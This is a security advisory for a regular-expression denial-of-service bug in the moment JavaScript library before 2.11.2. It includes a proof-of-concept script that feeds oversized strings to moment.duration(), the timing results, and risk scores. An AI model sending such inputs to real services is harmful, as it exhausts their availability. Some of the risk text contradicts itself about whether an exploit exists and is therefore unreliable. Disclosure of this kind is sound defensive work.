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GHSA-87vv-r9j6-g5qv

MediumCVSS 6.5 / 10
Published Oct 24, 2017·Last modified Nov 8, 2023
Affected Components(0)

No affected components available

Description

Versions of moment prior to 2.11.2 are affected by a regular expression denial of service vulnerability. The vulnerability is triggered when arbitrary user input is passed into moment.duration().

Proof of concept

var moment = require('moment');

var genstr = function (len, chr) {
    var result = "";
    for (i=0; i<=len; i++) {
        result = result + chr;
    }

    return result;
}


for (i=20000;i<=10000000;i=i+10000) {
    console.log("COUNT: " + i);
    var str = '-' + genstr(i, '1')
    console.log("LENGTH: " + str.length);
    var start = process.hrtime();
    moment.duration(str)

    var end = process.hrtime(start);
    console.log(end);
}

Results

$ node moment.js
COUNT: 20000
LENGTH: 20002
[ 0, 618931029 ]
COUNT: 30001
LENGTH: 30003
[ 1, 401413894 ]
COUNT: 40002
LENGTH: 40004
[ 2, 437075303 ]
COUNT: 50003
LENGTH: 50005
[ 3, 824664804 ]
COUNT: 60004
LENGTH: 60006
[ 5, 651335262 ]

Recommendation

Please update to version 2.11.2 or later.

Risk Scores
Base Score
6.5

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the availability of the system.

Threat Intelligence
6.0

Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.

EPSS
9.90%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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Medium severity
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